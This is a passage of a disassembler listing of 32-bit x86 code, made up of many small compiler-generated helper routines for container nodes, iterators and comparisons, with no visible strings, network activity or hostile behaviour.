		call	sub_401CA8
		test	al, al
		jz	short loc_415AED
		push	edi
		mov	edi, [esp+8+arg_0]


loc_415ABA:				; CODE XREF: sub_415AA0+4Aj
		lea	ecx, [esp+8+arg_4]
		call	sub_401A4B
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	edi
		push	ecx
		mov	ecx, esi
		call	sub_40215D
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8+arg_4]
		call	sub_4020EF
		lea	edx, [esp+8+arg_8]
		lea	ecx, [esp+8+arg_4]
		push	edx
		call	sub_401CA8
		test	al, al
		jnz	short loc_415ABA
		pop	edi


loc_415AED:				; CODE XREF: sub_415AA0+13j
		pop	esi
		retn	0Ch
sub_415AA0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415B20	proc near		; CODE XREF: sub_401FAFj

var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_40156E
		mov	ecx, eax
		call	sub_401C4E
		mov	esi, eax
		push	esi
		call	sub_40208B
		push	esi
		mov	ebx, eax
		call	sub_401104
		mov	ecx, [eax]
		push	ecx
		call	sub_40208B
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_401104
		push	esi
		mov	ebx, eax
		call	sub_40208B
		mov	eax, [eax]
		push	eax
		call	sub_401104
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_401EFB
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_4014F6
		push	esi
		mov	ecx, edi
		call	sub_401CD5
sub_415B20	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415BE0	proc near		; CODE XREF: sub_401465j

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_401D5C
		test	al, al
		jz	short loc_415C3A


loc_415BF8:				; CODE XREF: sub_415BE0+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_40156E
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401FAF
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_401D5C
		test	al, al
		jnz	short loc_415BF8
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_415C3A:				; CODE XREF: sub_415BE0+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_415BE0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415C70	proc near		; CODE XREF: sub_401EBAj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	0Ch
		call	sub_4020D6
sub_415C70	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_415C85
		mov	edi, esi


loc_415C85:				; CODE XREF: ___:00415C81j
		push	esi
		call	sub_40208B
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_415C9A
		mov	edi, esi


loc_415C9A:				; CODE XREF: ___:00415C96j
		push	esi
		call	sub_401104
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415CC0	proc near		; CODE XREF: sub_401CD5j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_401E01
sub_415CC0	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415CE0	proc near		; CODE XREF: sub_40208Bj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_415CE0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415D00	proc near		; CODE XREF: sub_401EFBj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_415D00	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415D20	proc near		; CODE XREF: sub_401EB5j
		mov	eax, ecx
		retn
sub_415D20	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415D40	proc near		; CODE XREF: sub_401DA7j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401753
		mov	eax, esi
		pop	esi
		retn	4
sub_415D40	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415D70	proc near		; CODE XREF: sub_40156Ej

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_4020A4
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_415D70	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415DA0	proc near		; CODE XREF: sub_4015CDj

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_415DA0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415DD0	proc near		; CODE XREF: sub_401A96j

arg_4		= byte ptr  8

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_401F6E
		mov	edi, eax
		push	edi
		call	sub_401163
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_401C7B
sub_415DD0	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_401163
		push	edi
		mov	[eax], ebx
		call	sub_401163
		mov	edi, [eax]
		push	edi
		call	sub_401163
		mov	ecx, [eax]
		push	ecx
		call	sub_401249
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_402126
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_4015E6
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		mov	esi, [esp+14h]
		mov	ecx, esi
		call	sub_401CC6
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415E70	proc near		; CODE XREF: sub_4017DFj

var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_4010DC
		mov	ecx, eax
		call	sub_401F6E
		mov	esi, eax
		push	esi
		call	sub_401249
		push	esi
		mov	ebx, eax
		call	sub_401163
		mov	ecx, [eax]
		push	ecx
		call	sub_401249
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_401163
		push	esi
		mov	ebx, eax
		call	sub_401249
		mov	eax, [eax]
		push	eax
		call	sub_401163
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_402126
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_401D4D
		push	esi
		mov	ecx, edi
		call	sub_401E1A
sub_415E70	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415F30	proc near		; CODE XREF: sub_40132Fj

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_401AD7
		test	al, al
		jz	short loc_415F8A


loc_415F48:				; CODE XREF: sub_415F30+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_4010DC
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_4017DF
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_401AD7
		test	al, al
		jnz	short loc_415F48
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_415F8A:				; CODE XREF: sub_415F30+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_415F30	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415FC0	proc near		; CODE XREF: sub_401C7Bj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	0Ch
		call	sub_4015A5
sub_415FC0	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_415FD5
		mov	edi, esi


loc_415FD5:				; CODE XREF: ___:00415FD1j
		push	esi
		call	sub_401249
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_415FEA
		mov	edi, esi


loc_415FEA:				; CODE XREF: ___:00415FE6j
		push	esi
		call	sub_401163
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_416010	proc near		; CODE XREF: sub_401E1Aj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_4010D7
sub_416010	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416030	proc near		; CODE XREF: sub_401249j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_416030	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416050	proc near		; CODE XREF: sub_402126j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_416050	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416070	proc near		; CODE XREF: sub_401E79j
		mov	eax, ecx
		retn
sub_416070	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416090	proc near		; CODE XREF: sub_401CC6j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401357
		mov	eax, esi
		pop	esi
		retn	4
sub_416090	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4160C0	proc near		; CODE XREF: sub_4010DCj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_4018B6
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_4160C0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4160F0	proc near		; CODE XREF: sub_401EA6j

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_4160F0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_416120	proc near		; CODE XREF: sub_401CFDj

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_4012CB
		mov	edi, eax
		push	edi
		call	sub_4017D5
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_401DA2
sub_416120	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_4017D5
		push	edi
		mov	[eax], ebx
		call	sub_4017D5
		mov	edi, [eax]
		push	edi
		call	sub_4017D5
		mov	ecx, [eax]
		push	ecx
		call	sub_401BB8
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_4017DA
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_401DFC
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		mov	esi, [esp+14h]
		mov	ecx, esi
		call	sub_401D66
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4161C0	proc near		; CODE XREF: sub_401078j

var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_401EA1
		mov	ecx, eax
		call	sub_4012CB
		mov	esi, eax
		push	esi
		call	sub_401BB8
		push	esi
		mov	ebx, eax
		call	sub_4017D5
		mov	ecx, [eax]
		push	ecx
		call	sub_401BB8
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_4017D5
		push	esi
		mov	ebx, eax
		call	sub_401BB8
		mov	eax, [eax]
		push	eax
		call	sub_4017D5
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_4017DA
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_4013F7
		push	esi
		mov	ecx, edi
		call	sub_401EF6
sub_4161C0	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416280	proc near		; CODE XREF: sub_401401j

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_401339
		test	al, al
		jz	short loc_4162DA


loc_416298:				; CODE XREF: sub_416280+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_401EA1
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401078
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_401339
		test	al, al
		jnz	short loc_416298
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4162DA:				; CODE XREF: sub_416280+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_416280	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_416310	proc near		; CODE XREF: sub_401DA2j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	0Ch
		call	sub_401E9C
sub_416310	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_416325
		mov	edi, esi


loc_416325:				; CODE XREF: ___:00416321j
		push	esi
		call	sub_401BB8
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_41633A
		mov	edi, esi


loc_41633A:				; CODE XREF: ___:00416336j
		push	esi
		call	sub_4017D5
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_416360	proc near		; CODE XREF: sub_401EF6j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_401857
sub_416360	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416380	proc near		; CODE XREF: sub_401BB8j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_416380	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4163A0	proc near		; CODE XREF: sub_4017DAj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_4163A0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4163C0	proc near		; CODE XREF: sub_401E29j
		mov	eax, ecx
		retn
sub_4163C0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4163E0	proc near		; CODE XREF: sub_401D66j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40160E
		mov	eax, esi
		pop	esi
		retn	4
sub_4163E0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416410	proc near		; CODE XREF: sub_401EA1j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_40118B
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_416410	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416440	proc near		; CODE XREF: sub_40144Cj

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_416440	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416470	proc near		; CODE XREF: sub_401104j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_416470	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_416490	proc near		; CODE XREF: sub_4020D6j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D16
sub_416490	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4164C0	proc near		; CODE XREF: sub_401E01j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_4367E2
sub_4164C0	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4164E0	proc near		; CODE XREF: sub_402194j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_40125D
		add	esp, 8
		retn	8
sub_4164E0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416510	proc near		; CODE XREF: sub_4014F6j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_6
		pop	ecx
		retn	4
sub_416510	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416530	proc near		; CODE XREF: sub_401753j

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_416530	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416550	proc near		; CODE XREF: sub_401A4Bj
		mov	eax, [ecx]
		push	eax
		call	sub_401EFB
		add	esp, 4
		retn
sub_416550	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416570	proc near		; CODE XREF: sub_4020EFj
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_40208B
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_416570	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4165A0	proc near		; CODE XREF: sub_401CA8j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401E56
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_4165A0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4165D0	proc near		; CODE XREF: sub_401C4Ej
		mov	eax, [ecx]
		retn
sub_4165D0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4165F0	proc near		; CODE XREF: sub_401163j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_4165F0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_416610	proc near		; CODE XREF: sub_4015A5j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D16
sub_416610	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_416640	proc near		; CODE XREF: sub_4010D7j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_4367E2
sub_416640	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416660	proc near		; CODE XREF: sub_4015E6j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_402040
		add	esp, 8
		retn	8
sub_416660	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416690	proc near		; CODE XREF: sub_401D4Dj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_5
		pop	ecx
		retn	4
sub_416690	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4166B0	proc near		; CODE XREF: sub_401357j

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_4166B0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4166D0	proc near		; CODE XREF: sub_401F6Ej
		mov	eax, [ecx]
		retn
sub_4166D0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4166F0	proc near		; CODE XREF: sub_4017D5j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_4166F0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_416710	proc near		; CODE XREF: sub_401E9Cj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D16
sub_416710	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_416740	proc near		; CODE XREF: sub_401857j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_4367E2
sub_416740	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416760	proc near		; CODE XREF: sub_401DFCj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_4020CC
		add	esp, 8
		retn	8
sub_416760	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416790	proc near		; CODE XREF: sub_4013F7j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_3
		pop	ecx
		retn	4
sub_416790	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4167B0	proc near		; CODE XREF: sub_40160Ej

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_4167B0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4167D0	proc near		; CODE XREF: sub_4012CBj
		mov	eax, [ecx]
		retn
sub_4167D0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4167F0	proc near		; CODE XREF: sub_401E56j

arg_0		= dword	ptr  4

